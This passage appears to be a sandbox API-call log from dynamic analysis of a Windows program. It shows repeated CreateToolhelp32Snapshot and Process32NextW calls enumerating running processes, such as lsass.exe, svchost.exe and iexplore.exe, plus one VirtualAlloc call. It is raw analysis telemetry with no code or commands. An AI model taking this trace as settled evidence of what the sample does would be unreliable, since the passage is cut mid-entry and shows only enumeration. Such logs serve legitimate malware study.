cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.060] CloseHandle (hObject=0x144) returned 1 [0132.060] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x298) returned 0x144 [0132.074] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.077] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.079] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.083] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.085] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.086] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.088] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.089] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.094] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.095] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.109] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.111] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.112] CloseHandle (hObject=0x144) returned 1 [0132.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x2ac) returned 0x144 [0132.124] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.126] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.128] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.130] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.131] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.133] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.136] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.138] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.140] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.142] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.144] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.146] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.148] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.150] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.151] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.153] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.155] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.157] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.159] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.162] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.164] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.165] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.167] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0132.168] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.170] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.172] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.174] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.175] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0132.177] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.179] CloseHandle (hObject=0x144) returned 1 [0132.179] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x2c8) returned 0x144 [0132.192] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.193] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.195] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.197] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.199] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.201] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.205] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.207] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.210] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.212] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.213] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.215] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.217] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.219] CloseHandle (hObject=0x144) returned 1 [0132.219] VirtualAlloc (lpAddress=0xc0001c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c6000 [0132.221] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x324) returned 0x144 [0132.234] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.235] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.237] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.239] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.241] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.244] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.246] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.247] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.249] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.252] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.253] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.255] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.257] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.259] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.262] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.263] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.266] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.268] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.270] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.272] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.274] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.275] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.277] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0132.279] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.281] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.283] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, 